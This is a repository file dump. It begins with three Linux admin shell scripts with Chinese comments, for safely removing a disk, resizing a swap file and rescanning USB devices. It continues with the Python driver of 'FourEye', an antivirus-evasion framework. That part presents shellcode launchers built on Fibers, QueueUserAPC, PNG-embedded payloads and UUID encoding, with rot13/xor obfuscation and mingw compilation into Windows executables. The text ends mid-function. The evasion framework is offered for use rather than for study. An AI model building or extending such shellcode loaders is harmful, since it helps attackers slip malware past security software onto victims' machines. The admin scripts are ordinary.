# 3. 检查并卸载所有分区（增强版）
echo "🔓 正在检查并卸载 $DEVICE 的所有分区..."
# 首先尝试正常卸载
for part in ${DEVICE}[0-9]* ${DEVICE}-* ${DEVICE}p[0-9]*; do
if [ -b "$part" ] && (mountpoint -q "$part" 2>/dev/null || mount | grep -q "$part"); then
echo " 正在卸载 $part..."
if sudo umount "$part" 2>/dev/null; then
echo " ✅ 正常卸载成功"
else
echo " ⚠️ 正常卸载失败"
# 显示阻止卸载的进程
if command -v lsof >/dev/null 2>&1; then
BLOCKING_PROCESSES=$(sudo lsof +f -- "$part" 2>/dev/null | head -5)
if [[ -n "$BLOCKING_PROCESSES" ]]; then
echo " 🔍 阻止卸载的进程:"
echo "$BLOCKING_PROCESSES" | while read line; do
echo " $line"
done
fi
fi
fi
fi
done
# 等待并检查是否有残留挂载
sleep 3
MOUNT_REMAINING=false
for part in ${DEVICE}[0-9]* ${DEVICE}-* ${DEVICE}p[0-9]*; do
if [ -b "$part" ] && (mountpoint -q "$part" 2>/dev/null || mount | grep -q "$part"); then
MOUNT_REMAINING=true
MOUNT_POINT=$(mount | grep "$part" | awk '{print $3}')
echo " ⚠️ $part 仍在挂载点 $MOUNT_POINT，尝试强制卸载..."
# 先尝试懒惰卸载
if sudo umount -l "$part" 2>/dev/null; then
echo " ✅ 懒惰卸载成功"
else
echo " ⚠️ 懒惰卸载失败"
fi
fi
done
# 最终检查
MOUNT_FINAL_CHECK=false
for part in ${DEVICE}[0-9]* ${DEVICE}-* ${DEVICE}p[0-9]*; do
if [ -b "$part" ] && (mountpoint -q "$part" 2>/dev/null || mount | grep -q "$part"); then
MOUNT_FINAL_CHECK=true
break
fi
done
if [[ "$MOUNT_FINAL_CHECK" == "true" ]]; then
echo "❌ 无法完全卸载所有分区，请手动处理"
exit 1
else
echo "✅ 所有分区已成功卸载"
fi
# 4. 执行设备移除（增强版）
echo "🔌 尝试移除设备..."
REMOVED=false
# 方法1: 内核接口移除 (适用于SATA/SAS)
if [[ -e "/sys/block/$DEVICE_SHORT/device/delete" ]]; then
if sudo bash -c "echo 1 > /sys/block/$DEVICE_SHORT/device/delete" 2>/dev/null; then
echo "✅ 通过内核接口移除成功"
REMOVED=true
fi
fi
# 方法2: NVMe专用移除
if [[ "$REMOVED" != "true" && "$DEVICE_SHORT" =~ ^nvme ]]; then
if [[ -e "/sys/block/$DEVICE_SHORT/device/remove" ]]; then
if sudo bash -c "echo 1 > /sys/block/$DEVICE_SHORT/device/remove" 2>/dev/null; then
echo "✅ 通过NVMe接口移除成功"
REMOVED=true
fi
fi
fi
# 方法3: SCSI通用移除
if [[ "$REMOVED" != "true" ]]; then
if sudo eject -s "$DEVICE" 2>/dev/null; then
echo "✅ 通过SCSI弹出指令移除成功"
REMOVED=true
fi
fi
# 方法4: USB设备移除
if [[ "$REMOVED" != "true" ]]; then
USB_INFO=$(readlink "/sys/block/$DEVICE_SHORT" 2>/dev/null | grep -o 'usb[0-9]*' || true)
if [[ -n "$USB_INFO" ]]; then
if sudo udisksctl power-off -b "$DEVICE" 2>/dev/null; then
echo "✅ 通过udisksctl移除USB设备成功"
REMOVED=true
elif command -v usb_modeswitch >/dev/null; then
# 尝试USB模式切换作为最后手段
VENDOR=$(udevadm info --query=property --name="$DEVICE" 2>/dev/null | grep ID_VENDOR_ID | cut -d= -f2)
PRODUCT=$(udevadm info --query=property --name="$DEVICE" 2>/dev/null | grep ID_MODEL_ID | cut -d= -f2)
if [[ -n "$VENDOR" && -n "$PRODUCT" ]]; then
sudo usb_modeswitch -v "0x$VENDOR" -p "0x$PRODUCT" -b 2 -d 2>/dev/null
echo "⚠️ 已尝试USB模式切换，请等待几秒后检查设备状态"
REMOVED=true
fi
fi
fi
fi
# 方法5: 最后的尝试 - 设备重置
if [[ "$REMOVED" != "true" ]]; then
echo "⚠️ 标准方法失败，尝试设备重置..."
if [[ -e "/sys/block/$DEVICE_SHORT/device/reset" ]]; then
if sudo bash -c "echo 1 > /sys/block/$DEVICE_SHORT/device/reset" 2>/dev/null; then
echo "✅ 通过设备重置移除成功"
REMOVED=true
fi
fi
fi
if [[ "$REMOVED" != "true" ]]; then
echo "❌ 所有移除方法失败"
echo "💡 建议手动检查:"
echo " - 运行 'lsblk' 查看设备状态"
echo " - 运行 'dmesg | tail' 查看内核消息"
echo " - 尝试物理断开设备（有风险）"
exit 1
fi
# 5. 验证移除结果（增强版）
echo "🔎 验证移除结果..."
sleep 2 # 给系统一些时间更新状态
# 多重验证方法
DEVICE_REMOVED=false
# 方法1: 检查lsblk
if ! lsblk | grep -q "$DEVICE_SHORT"; then
echo "✅ lsblk验证: 设备已消失"
DEVICE_REMOVED=true
else
echo "⚠️ lsblk验证: 设备仍存在"
fi
# 方法2: 检查/sys/block
if [[ ! -d "/sys/block/$DEVICE_SHORT" ]]; then
echo "✅ sysfs验证: 设备目录已消失"
DEVICE_REMOVED=true
else
echo "⚠️ sysfs验证: 设备目录仍存在"
fi
# 方法3: 检查/proc/partitions
if ! grep -q "$DEVICE_SHORT" /proc/partitions 2>/dev/null; then
echo "✅ 分区表验证: 设备已移除"
DEVICE_REMOVED=true
else
echo "⚠️ 分区表验证: 设备仍存在"
fi
if [[ "$DEVICE_REMOVED" == "true" ]]; then
echo "🎉 设备已从系统完全移除"
echo "💡 可以安全物理拔出"
else
echo "⚠️ 设备可能仍在系统中"
echo "🔍 详细占用检查:"
# 检查进程占用
if command -v lsof >/dev/null 2>&1; then
PROCESSES=$(sudo lsof +f -- "$DEVICE" 2>/dev/null)
if [[ -n "$PROCESSES" ]]; then
echo "📊 进程占用:"
echo "$PROCESSES" | head -10 | while read line; do
echo " $line"
done
else
echo "✅ 无进程占用"
fi
fi
# 检查内核模块占用
if lsmod | grep -q "$DEVICE_SHORT"; then
echo "⚠️ 可能有内核模块占用"
fi
echo "💡 建议:"
echo " - 等待几秒后重试验证"
echo " - 检查 dmesg 查看内核消息"
echo " - 尝试重启系统后移除"
fi
echo ""
echo "========================================"
echo " 脚本执行完成"
echo "========================================"
|
2301_82242223/3
|
remove_disk.sh
|
Shell
|
unknown
| 31,044
|
#!/bin/bash
# Swap大小调整脚本（优化依赖版本）
# 优先使用awk进行数学运算，bc作为可选依赖
set -e # 遇到错误立即退出
# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color
# 全局变量
SWAP_FILE_PATH="/swapfile"
CURRENT_SWAP_MB=0
CURRENT_SWAP_GB=0
SWAP_SIZE_MB=0
SWAP_SIZE_GB=0
HAS_BC=0
# 打印颜色输出函数
print_color() {
echo -e "${1}${2}${NC}"
}
# 检查命令依赖
check_dependencies() {
print_color $BLUE "=== 检查系统依赖 ==="
# 检查awk (必需)
if ! command -v awk &> /dev/null; then
print_color $RED "❌ 错误: awk命令不存在"
print_color $RED " awk是系统基本组件，您的系统可能不完整"
exit 1
else
print_color $GREEN "✓ awk命令可用"
fi
# 检查bc (可选，用于更精确的计算)
if command -v bc &> /dev/null; then
HAS_BC=1
print_color $GREEN "✓ bc命令可用（用于精确计算）"
else
HAS_BC=0
print_color $YELLOW "⚠️ bc命令未安装，使用awk进行数学运算"
print_color $CYAN " 如需安装bc，可运行: sudo apt-get install bc"
fi
echo ""
}
# 计算GB显示（优先使用awk，bc作为备选）
calculate_gb() {
local mb=$1
if [[ $HAS_BC -eq 1 ]]; then
# 使用bc进行精确计算
echo "scale=1; $mb/1024" | bc
else
# 使用awk作为替代方案
echo "$mb 1024" | awk '{printf "%.1f", $1/$2}'
fi
}
# 浮点数比较（优先使用awk，bc作为备选）
float_compare() {
local a=$1
local op=$2
local b=$3
if [[ $HAS_BC -eq 1 ]]; then
# 使用bc进行精确比较
echo "$a $op $b" | bc -l
else
# 使用awk进行浮点数比较
case $op in
">") echo "$a $b" | awk '{exit ($1 > $2) ? 0 : 1}' ;;
">=") echo "$a $b" | awk '{exit ($1 >= $2) ? 0 : 1}' ;;
"<") echo "$a $b" | awk '{exit ($1 < $2) ? 0 : 1}' ;;
"<=") echo "$a $b" | awk '{exit ($1 <= $2) ? 0 : 1}' ;;
"==") echo "$a $b" | awk '{exit ($1 == $2) ? 0 : 1}' ;;
*) return 1 ;;
esac
fi
}
# 修复的权限检查函数
check_root() {
# 检查是否通过sudo运行
if [[ $EUID -eq 0 ]] && [[ -z "$SUDO_USER" ]]; then
print_color $RED "错误：检测到直接使用root用户运行"
print_color $RED "请使用普通用户身份运行，并在需要时输入密码："
print_color $YELLOW " $ sudo ./$(basename "$0")"
exit 1
fi
# 检查是否没有root权限
if [[ $EUID -ne 0 ]]; then
print_color $RED "错误：此脚本需要root权限"
print_color $YELLOW "请使用sudo运行："
print_color $YELLOW " $ sudo ./$(basename "$0")"
exit 1
fi
# 如果通过sudo运行且有root权限，则通过检查
print_color $GREEN "✓ 权限检查通过（通过sudo运行）"
echo ""
}
# 检查系统兼容性
check_compatibility() {
print_color $BLUE "=== 系统兼容性检查 ==="
# 检查操作系统
if [[ -f /etc/os-release ]]; then
source /etc/os-release
print_color $GREEN "✓ 操作系统: $NAME $VERSION"
else
print_color $YELLOW "⚠️ 无法确定操作系统类型，继续执行..."
fi
# 检查是否使用Swap文件
local swap_type=$(swapon --show 2>/dev/null | grep -v "NAME" | awk '{print $2}' | head -1)
if [[ "$swap_type" != "file" ]] && [[ -n "$swap_type" ]]; then
print_color $RED "❌ 当前系统使用的是Swap分区，不是Swap文件"
print_color $RED " 本脚本仅支持调整Swap文件，不支持Swap分区"
exit 1
fi
# 检查Swap文件路径
local swap_file=$(swapon --show 2>/dev/null | grep -v "NAME" | awk '{print $1}' | head -1)
if [[ -n "$swap_file" ]] && [[ "$swap_file" != "/swapfile" ]]; then
print_color $YELLOW "⚠️ 检测到Swap文件路径: $swap_file"
print_color $YELLOW " 本脚本默认使用/swapfile，可能需要调整"
read -p "是否继续使用路径: $swap_file? (y/N): " confirm
if [[ ! $confirm =~ [Yy] ]]; then
print_color $GREEN "操作已取消"
exit 0
fi
SWAP_FILE_PATH="$swap_file"
else
SWAP_FILE_PATH="/swapfile"
fi
print_color $GREEN "✓ 系统兼容性检查通过"
echo ""
}
# 检查磁盘空间
check_disk_space() {
local required_mb=$1
local available_mb=$(df -m / | awk 'NR==2 {print $4}')
local available_gb=$(calculate_gb $available_mb)
local required_gb=$(calculate_gb $required_mb)
echo "需要空间: ${required_gb}GB (${required_mb}MB)"
echo "可用空间: ${available_gb}GB (${available_mb}MB)"
if [[ $available_mb -lt $required_mb ]]; then
print_color $RED "❌ 磁盘空间不足!"
print_color $RED " 需要: ${required_mb}MB，可用: ${available_mb}MB"
print_color $RED " 请释放磁盘空间或选择更小的Swap大小"
return 1
else
local free_after_mb=$((available_mb - required_mb))
local free_after_gb=$(calculate_gb $free_after_mb)
print_color $GREEN "✓ 磁盘空间充足"
print_color $CYAN " 调整后剩余空间: ${free_after_gb}GB"
return 0
fi
}
# 检查系统负载
check_system_load() {
print_color $BLUE "=== 系统负载检查 ==="
local load_avg=$(cat /proc/loadavg | awk '{print $1}')
local cpu_count=$(nproc)
echo "当前负载: $load_avg"
echo "CPU核心数: $cpu_count"
# 使用awk计算阈值
local threshold=$(echo "$cpu_count" | awk '{print int($1 * 0.7 + 0.5)}')
# 使用浮点数比较函数
if float_compare "$load_avg" ">" "$threshold"; then
print_color $YELLOW "⚠️ 系统负载较高，建议在负载较低时执行此操作"
read -p "是否继续? (y/N): " confirm
if [[ ! $confirm =~ [Yy] ]]; then
print_color $GREEN "操作已取消"
exit 0
fi
else
print_color $GREEN "✓ 系统负载正常"
fi
echo ""
}
# 显示当前Swap状态
show_swap_status() {
print_color $BLUE "=== 当前Swap状态 ==="
echo "当前Swap使用情况:"
free -h | grep -E "^(Mem|Swap)"
echo ""
local swap_info=$(swapon --show 2>/dev/null)
if [[ -n "$swap_info" ]]; then
echo "Swap文件详情:"
echo "$swap_info"
local current_swap_bytes=$(swapon --show --bytes 2>/dev/null | grep -v "NAME" | awk '{print $3}' | head -1)
if [[ -n "$current_swap_bytes" ]]; then
CURRENT_SWAP_MB=$((current_swap_bytes / 1024 / 1024))
CURRENT_SWAP_GB=$(calculate_gb $CURRENT_SWAP_MB)
echo ""
print_color $CYAN "当前Swap大小: ${CURRENT_SWAP_GB}GB (${CURRENT_SWAP_MB}MB)"
fi
else
print_color $YELLOW "⚠️ 未找到活跃的Swap文件"
fi
echo ""
}
# 显示磁盘空间
show_disk_space() {
print_color $BLUE "=== 磁盘空间状态 ==="
df -h / | tail -1
echo ""
}
# 风险提示
show_warnings() {
print_color $RED "⚠️ ⚠️ ⚠️ 重要风险提示 ⚠️ ⚠️ ⚠️"
echo ""
echo "1. 调整Swap过程中系统可能会变慢或暂时无响应"
echo "2. 操作期间如果断电或系统崩溃可能导致数据丢失"
echo "3. 请确保有足够的磁盘空间"
echo "4. 建议在系统负载较低时执行此操作"
echo "5. 操作前请保存所有重要工作"
echo "6. 确保当前使用的是Swap文件而不是Swap分区"
echo ""
print_color $YELLOW "继续操作即表示您已了解并接受上述风险"
echo ""
}
# 获取用户输入的大小
get_swap_size() {
print_color $BLUE "=== 选择Swap大小 ==="
echo ""
echo "请选择新的Swap大小:"
echo "1) 512MB (适合极小内存系统)"
echo "2) 1GB (适合轻量使用)"
echo "3) 1.5GB (平衡选择)"
echo "4) 2GB (推荐用于2GB以下内存)"
echo "5) 4GB (标准大小)"
echo "6) 8GB (大内存系统备用)"
echo "7) 自定义大小"
echo ""
while true; do
read -p "请输入选项 (1-7): " choice
case $choice in
1) SWAP_SIZE_MB=512; break ;;
2) SWAP_SIZE_MB=1024; break ;;
3) SWAP_SIZE_MB=1536; break ;;
4) SWAP_SIZE_MB=2048; break ;;
5) SWAP_SIZE_MB=4096; break ;;
6) SWAP_SIZE_MB=8192; break ;;
7)
while true; do
read -p "请输入Swap大小 (单位: MB): " custom_size
if [[ $custom_size =~ ^[0-9]+$ ]] && [ $custom_size -gt 0 ]; then
SWAP_SIZE_MB=$custom_size
break
else
print_color $RED "请输入有效的正整数"
fi
done
break
;;
*) print_color $RED "无效选项，请重新输入" ;;
esac
done
# 计算GB显示
SWAP_SIZE_GB=$(calculate_gb $SWAP_SIZE_MB)
echo ""
print_color $GREEN "您选择的大小: ${SWAP_SIZE_MB}MB (${SWAP_SIZE_GB}GB)"
# 检查磁盘空间
if ! check_disk_space $SWAP_SIZE_MB; then
print_color $RED "磁盘空间检查失败，请选择更小的Swap大小或释放磁盘空间"
return 1
fi
echo ""
}
# 确认操作
confirm_operation() {
echo ""
print_color $YELLOW "即将执行以下操作:"
echo "1. 关闭当前Swap (如果存在)"
echo "2. 删除旧的Swap文件: $SWAP_FILE_PATH"
echo "3. 创建新的Swap文件: ${SWAP_SIZE_MB}MB"
echo "4. 设置权限并启用新的Swap"
echo ""
while true; do
read -p "是否继续? (y/N): " confirm
case $confirm in
[Yy]* ) break;;
[Nn]* )
print_color $GREEN "操作已取消"
exit 0
;;
* )
print_color $RED "请输入 y 或 n"
;;
esac
done
}
# 执行Swap调整
adjust_swap() {
print_color $BLUE "=== 开始调整Swap ==="
# 关闭当前Swap
print_color $YELLOW "步骤 1/5: 关闭当前Swap..."
if sudo swapoff "$SWAP_FILE_PATH" 2>/dev/null; then
print_color $GREEN "✓ 已关闭当前Swap"
else
print_color $CYAN "ℹ️ 当前没有活跃的Swap或关闭失败（可能是首次创建）"
fi
# 删除旧文件
print_color $YELLOW "步骤 2/5: 删除旧Swap文件..."
if sudo rm -f "$SWAP_FILE_PATH"; then
print_color $GREEN "✓ 已删除旧Swap文件"
else
print_color $CYAN "ℹ️ 旧Swap文件不存在或删除失败"
fi
# 创建新Swap文件
print_color $YELLOW "步骤 3/5: 创建新的Swap文件 (${SWAP_SIZE_MB}MB)..."
if sudo dd if=/dev/zero of="$SWAP_FILE_PATH" bs=1M count=$SWAP_SIZE_MB status=progress; then
print_color $GREEN "✓ 已创建新Swap文件"
else
print_color $RED "❌ 创建Swap文件失败"
exit 1
fi
# 设置权限
print_color $YELLOW "步骤 4/5: 设置文件权限..."
if sudo chmod 600 "$SWAP_FILE_PATH"; then
print_color $GREEN "✓ 已设置文件权限"
else
print_color $RED "❌ 设置文件权限失败"
exit 1
fi
# 格式化为Swap并启用
print_color $YELLOW "步骤 5/5: 格式化并启用Swap..."
if sudo mkswap "$SWAP_FILE_PATH" && sudo swapon "$SWAP_FILE_PATH"; then
print_color $GREEN "✓ 已格式化并启用Swap"
else
print_color $RED "❌ 格式化或启用Swap失败"
exit 1
fi
print_color $GREEN "✅ Swap调整完成!"
}
# 验证结果
verify_result() {
print_color $BLUE "=== 验证调整结果 ==="
echo ""
echo "新的Swap状态:"
swapon --show
echo ""
free -h | grep -E "^(Mem|Swap)"
echo ""
# 检查fstab配置
if grep -q "$SWAP_FILE_PATH" /etc/fstab; then
print_color $GREEN "✅ /etc/fstab中已配置开机自动挂载"
else
print_color $YELLOW "⚠️ /etc/fstab中未配置开机自动挂载，添加中..."
echo "$SWAP_FILE_PATH none swap sw 0 0" | sudo tee -a /etc/fstab
print_color $GREEN "✅ 已添加到/etc/fstab"
fi
}
# 显示使用建议
show_advice() {
print_color $BLUE "=== 使用建议 ==="
echo ""
echo "1. 监控Swap使用情况:"
echo " 命令: free -h 或 swapon --show"
echo ""
echo "2. 如果发现Swap使用率经常接近100%，可以考虑再次增加大小"
echo ""
echo "3. 调整内存回收倾向 (可选):"
echo " 查看当前值: cat /proc/sys/vm/swappiness"
echo " 临时调整: sudo sysctl vm.swappiness=值 (通常30-60)"
echo ""
# 如果bc未安装，显示安装建议
if [[ $HAS_BC -eq 0 ]]; then
echo ""
print_color $CYAN "💡 提示: 安装bc可以获得更好的计算精度"
print_color $CYAN " 运行: sudo apt-get install bc"
fi
print_color $GREEN "✅ 所有操作已完成!"
}
# 生成使用报告
generate_report() {
local report_file="/tmp/swap_adjustment_report_$(date +%Y%m%d_%H%M%S).txt"
{
echo "Swap调整报告 - $(date)"
echo "================================"
echo "调整前大小: ${CURRENT_SWAP_GB}GB (${CURRENT_SWAP_MB}MB)"
echo "调整后大小: ${SWAP_SIZE_GB}GB (${SWAP_SIZE_MB}MB)"
echo "Swap文件路径: $SWAP_FILE_PATH"
echo "计算引擎: $([[ $HAS_BC -eq 1 ]] && echo "bc" || echo "awk")"
echo "操作状态: 成功"
echo "时间: $(date)"
echo ""
echo "当前状态:"
free -h
echo ""
swapon --show
} > "$report_file"
print_color $CYAN "📊 详细报告已保存至: $report_file"
}
# 主函数
main() {
print_color $GREEN "======= Swap大小调整脚本（优化依赖版）========"
echo ""
# 检查依赖
check_dependencies
check_root
check_compatibility
check_system_load
show_swap_status
show_disk_space
# 记录当前Swap大小
local current_swap_info=$(swapon --show --bytes 2>/dev/null | grep -v "NAME" | head -1)
if [[ -n "$current_swap_info" ]]; then
CURRENT_SWAP_MB=$(echo "$current_swap_info" | awk '{print $3/1024/1024}')
CURRENT_SWAP_GB=$(calculate_gb $CURRENT_SWAP_MB)
fi
show_warnings
# 获取用户输入并检查磁盘空间
if ! get_swap_size; then
exit 1
fi
confirm_operation
adjust_swap
verify_result
generate_report
show_advice
}
# 脚本入口
if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
main
fi
|
2301_82242223/3
|
swap_adjust.sh
|
Shell
|
unknown
| 15,033
|
#!/bin/bash
echo "🔄 USB设备重新识别工具"
echo "========================"
# 函数：显示可用的USB主机控制器
show_usb_controllers() {
echo "🔌 可用的USB主机控制器："
echo "========================"
lsusb -t 2>/dev/null | grep -E "Host|Root Hub" || {
echo "使用lsusb查看USB设备树："
lsusb
}
echo "========================"
}
# 函数：重新扫描SCSI总线（适用于USB存储设备）
rescan_scsi_bus() {
echo "🔄 重新扫描SCSI总线..."
# 设置超时时间（3分钟）
local timeout_duration=180
local start_time=$(date +%s)
# 方法1: 使用rescan-scsi-bus.sh（如果可用）
if command -v rescan-scsi-bus.sh >/dev/null 2>&1; then
echo "使用rescan-scsi-bus.sh工具..."
# 在后台执行扫描命令
sudo rescan-scsi-bus.sh &
local scan_pid=$!
# 等待进程完成或超时
while ps -p $scan_pid > /dev/null 2>&1; do
local current_time=$(date +%s)
local elapsed_time=$((current_time - start_time))
if [ $elapsed_time -ge $timeout_duration ]; then
echo "⏰ 扫描超时（超过3分钟），终止扫描进程..."
sudo kill $scan_pid 2>/dev/null
wait $scan_pid 2>/dev/null
echo "⚠️ SCSI总线扫描超时，继续执行后续步骤..."
return 1
fi
sleep 2
done
# 检查进程退出状态
wait $scan_pid
local exit_status=$?
if [ $exit_status -eq 0 ]; then
echo "✅ rescan-scsi-bus.sh 扫描完成"
return 0
else
echo "❌ rescan-scsi-bus.sh 扫描失败"
return $exit_status
fi
fi
# 方法2: 手动扫描所有SCSI主机
echo "手动扫描SCSI主机..."
local found=0
# 记录开始扫描的时间
start_time=$(date +%s)
for host in /sys/class/scsi_host/host*/scan; do
# 检查是否超时
local current_time=$(date +%s)
local elapsed_time=$((current_time - start_time))
if [ $elapsed_time -ge $timeout_duration ]; then
echo "⏰ 扫描超时（超过3分钟），停止扫描..."
echo "⚠️ SCSI总线扫描超时，继续执行后续步骤..."
return 1
fi
if [ -w "$host" ]; then
echo "- - -" | sudo tee "$host" >/dev/null 2>&1
echo "已扫描: $(dirname "$host")"
found=1
# 每次扫描后短暂等待
sleep 1
fi
done
if [ $found -eq 0 ]; then
echo "❌ 没有找到可写的SCSI主机"
return 1
fi
echo "✅ 手动SCSI扫描完成"
return 0
}
# 函数：重置USB控制器
reset_usb_controller() {
echo "🔌 重置USB控制器..."
# 方法1: 重新加载USB存储驱动
echo "重新加载USB存储驱动..."
sudo modprobe -r usb_storage && sleep 2 && sudo modprobe usb_storage
# 方法2: 重置所有USB设备授权
echo "重置USB设备授权..."
for usb in /sys/bus/usb/devices/*/authorized; do
if [ -w "$usb" ]; then
echo 0 | sudo tee "$usb" >/dev/null 2>&1
echo 1 | sudo tee "$usb" >/dev/null 2>&1
fi
done
# 方法3: 重启USB相关服务
echo "重启USB相关服务..."
sudo systemctl restart systemd-udevd 2>/dev/null
}
# 函数：模拟物理重插
simulate_physical_replug() {
echo "🔧 模拟物理重插过程..."
# 等待设备稳定
echo "等待系统稳定..."
sleep 3
# 重新扫描
rescan_scsi_bus
# 触发udev事件
echo "触发设备事件..."
sudo udevadm trigger --subsystem-match=block --action=add
sudo udevadm trigger --subsystem-match=usb --action=add
# 等待设备识别
echo "等待设备识别..."
sleep 5
}
# 函数：检查新设备
check_new_devices() {
echo "🔍 检查新识别的设备..."
local original_count=$1
local current_count=$(lsblk -d -o NAME | grep -c '^sd')
if [ $current_count -gt $original_count ]; then
echo "✅ 发现新设备！"
echo "📀 当前磁盘列表："
lsblk -d -o NAME,SIZE,TYPE,MOUNTPOINT | grep -E "^(NAME|sd)"
return 0
else
echo "❌ 未发现新设备"
return 1
fi
}
# 主程序开始
echo "🚀 开始设备重新识别流程..."
echo "💡 请确保USB设备已物理插入"
# 记录当前的设备数量
original_device_count=$(lsblk -d -o NAME | grep -c '^sd')
echo "当前磁盘设备数量: $original_device_count"
# 显示USB控制器信息
show_usb_controllers
# 用户确认
read -p "是否继续执行设备重新识别？(y/N): " confirm
if [[ ! $confirm =~ ^[Yy]$ ]]; then
echo "❌ 用户取消操作"
exit 0
fi
echo ""
echo "🔄 开始执行重新识别流程..."
echo "========================"
# 执行重新识别步骤
reset_usb_controller
simulate_physical_replug
# 检查结果
echo ""
echo "📊 重新识别结果："
echo "========================"
if check_new_devices $original_device_count; then
echo ""
echo "🎉 设备重新识别成功！"
echo "💡 新设备应该已经在系统中可用"
# 显示详细的设备信息
echo ""
echo "📋 详细的设备信息："
lsblk -o NAME,SIZE,TYPE,MOUNTPOINT,FSTYPE,LABEL | grep -E "^(NAME|sd)"
else
echo ""
echo "⚠️ 未检测到新设备，可能的原因："
echo " - 设备未物理插入"
echo " - 设备连接问题"
echo " - 设备硬件故障"
echo " - 需要手动物理重插"
# 建议手动操作
echo ""
echo "💡 建议尝试："
echo " 1. 物理拔出USB设备"
echo " 2. 等待5秒"
echo " 3. 重新插入USB设备"
echo " 4. 再次运行此脚本"
fi
# 显示系统日志相关信息
echo ""
echo "📝 系统日志相关信息："
sudo dmesg | tail -10 | grep -E "usb|scsi|sd" | tail -5
|
2301_82242223/3
|
usb_rescan.sh
|
Shell
|
unknown
| 6,197
|
#!/usr/bin/python
from core.functions import *
import readline
from module.memory.CreateFiber import *
from module.UUID.UUID_bypass import *
from module.memory.QueueUserAPC import *
from module.Separation.imageShell import *
from module.darkexe.darkexe import *
from termcolor import colored
python_version = sys.version_info[0]
flag = 0
if python_version != 3:
print(colored("[-] Unable to run ", "red"))
print(colored("[-] Please run FourEye with python 3", "red"))
sys.exit()
banner()
while True:
readline.set_completer(completer)
readline.parse_and_bind("tab: complete")
try:
command = input("\033[4mFourEye\033[0m"+colored(" >>", "green"))
if command == "exit":
break
if command == "list":
list()
if command == "help":
help()
if command.split(" ")[0] == "exe":
shellcode_add = input("\033[4mPlease input Your exe:\033[0m" + colored(" >>", "green"))
darkarmour = Darkexe()
darkarmour.run(args=shellcode_add)
if command.split(" ")[0] == "shellcode":
readline.set_completer(shellcode_completer)
readline.parse_and_bind("tab: complete")
while True:
try:
exe_command = input("\033[4mFourEye(shellcode)\033[0m"+colored(" >>", "green"))
if exe_command == "back":
break
if exe_command == "list":
bypass_list()
if exe_command == "exit":
sys.exit()
if exe_command.split(" ")[0] == "1":
while True:
try:
bypass1_command = input("\033[4mFourEye(shellcode_bypass1)\033[0m" + colored(" >>", "green"))
if bypass1_command == "rot13":
Fiber_rot_13()
if bypass1_command == "xor":
Fiber_xor_13()
if bypass1_command == "x86":
flag = 1
if bypass1_command == "x64":
flag = 2
if bypass1_command == "execute":
if flag == 1:
x86cpp_execute()
elif flag == 2:
x64cpp_execute()
if bypass1_command == "exit":
sys.exit()
if bypass1_command == "back":
break
except EOFError:
print(" ")
if exe_command.split(" ")[0] == "2":
while True:
try:
bypass2_command = input("\033[4mFourEye(shellcode_bypass2)\033[0m" + colored(" >>", "green"))
if bypass2_command == "rot13":
Queue_rot_13()
if bypass2_command == "xor":
Queue_xor_13()
if bypass2_command == "x86":
flag = 1
if bypass2_command == "x64":
flag = 2
if bypass2_command == "execute":
if flag == 1:
x86c_execute()
elif flag == 2:
x64c_execute()
if bypass2_command == "exit":
sys.exit()
if bypass2_command == "back":
break
except EOFError:
print(" ")
if exe_command.split(" ")[0] == "3":
while True:
try:
bypass3_command = input("\033[4mFourEye(shellcode_bypass3)\033[0m" + colored(" >>", "green"))
if bypass3_command == "png":
imageSehllcode()
if bypass3_command == "x86":
flag = 1
if bypass3_command == "x64":
flag = 2
if bypass3_command == "execute":
if flag == 1:
x86cpp_execute()
elif flag == 2:
x64cpp_execute()
if bypass3_command == "exit":
sys.exit()
if bypass3_command == "back":
break
except EOFError:
print(" ")
if exe_command.strip(" ")[0] == "4":
while True:
try:
bypass4_command = input("\033[4mFourEye(shellcode_bypass4)\033[0m" + colored(" >>", "green"))
if bypass4_command == "UUID":
UUIDSehllcode()
if bypass4_command == "x86":
flag = 1
if bypass4_command == "x64":
flag = 2
if bypass4_command == "execute":
if flag == 1:
x86_uuid_execute()
elif flag == 2:
x64_uuid_execute()
if bypass4_command == "exit":
sys.exit()
if bypass4_command == "back":
break
except EOFError:
print(" ")
except EOFError:
print(" ")
except EOFError:
print(" ")
|
2301_82206160/FourEye
|
BypassFramework.py
|
Python
|
apache-2.0
| 6,577
|
#!/usr/bin/python
from termcolor import colored
import os
oct_commands = ["exe","shellcode","list","back","help","exit"]
shellcode_commands = ["xor","rot13","list","execute","png","exit","back"]
def completer(text, state):
options = [i for i in oct_commands if i.startswith(text)]
if state < len(options):
return options[state]
else:
return None
def shellcode_completer(text, state):
options = [i for i in shellcode_commands if i.startswith(text)]
if state < len(options):
return options[state]
else:
return None
def list():
print(colored("[+] Shellcode：", "red"))
print(colored("[+] Exe：", "red"))
def bypass_list():
print(colored("[+] BypassAV1：Shellcode Launcher using Fibers", "red"))
print(colored("[+] BypassAV2：Shellcode Launcher using QueueUserAPC", "red"))
print(colored("[+] BypassAV3：Shellcode Launcher using PNG", "red"))
print(colored("[+] BypassAV4：Shellcode Launcher using UUID", "red"))
def help():
print(colored("Available commands to use :\n","cyan"))
print(colored("Hint : You can use the tab key to complete the command. \n","cyan"))
print(colored("++++++++++++++++++++++++++++++++++++++++++++++++++++","cyan"))
print(colored("help \t\t\t\tshow this help menu","blue"))
print(colored("exit \t\t\t\texit current session","blue"))
print(colored("list \t\t\t\tlist current menu all features","blue"))
def x64cpp_execute():
try:
os.system('x86_64-w64-mingw32-g++ ' + '/root/shellcode.cpp' + ' -o ' + '/root/shellcode.exe' + " --static" + " -w")
os.system('rm -rf ' + '/root/shellcode.cpp')
print(colored("[+]shellcode compoile at /root/shellcode.exe\n","cyan"))
except:
print(colored("[-]error\n","cyan"))
def x86cpp_execute():
try:
os.system('i686-w64-mingw32-g++ ' + '-m32 ' + '/root/shellcode.cpp' + ' -o ' + '/root/shellcode.exe' + " --static" + " -w")
os.system('rm -rf ' + '/root/shellcode.cpp')
print(colored("[+]shellcode compoile at /root/shellcode.exe\n","cyan"))
except:
print(colored("[-]error\n","cyan"))
def x64c_execute():
try:
os.system('x86_64-w64-mingw32-gcc ' + '/root/shellcode.c' + ' -o ' + '/root/shellcode.exe' + " --static" + " -w")
#os.system('rm -rf '+ '/root/shellcode.c')
print(colored("[+]shellcode compoile at /root/shellcode.exe\n","cyan"))
except:
print(colored("[-]error\n","cyan"))
def x86c_execute():
try:
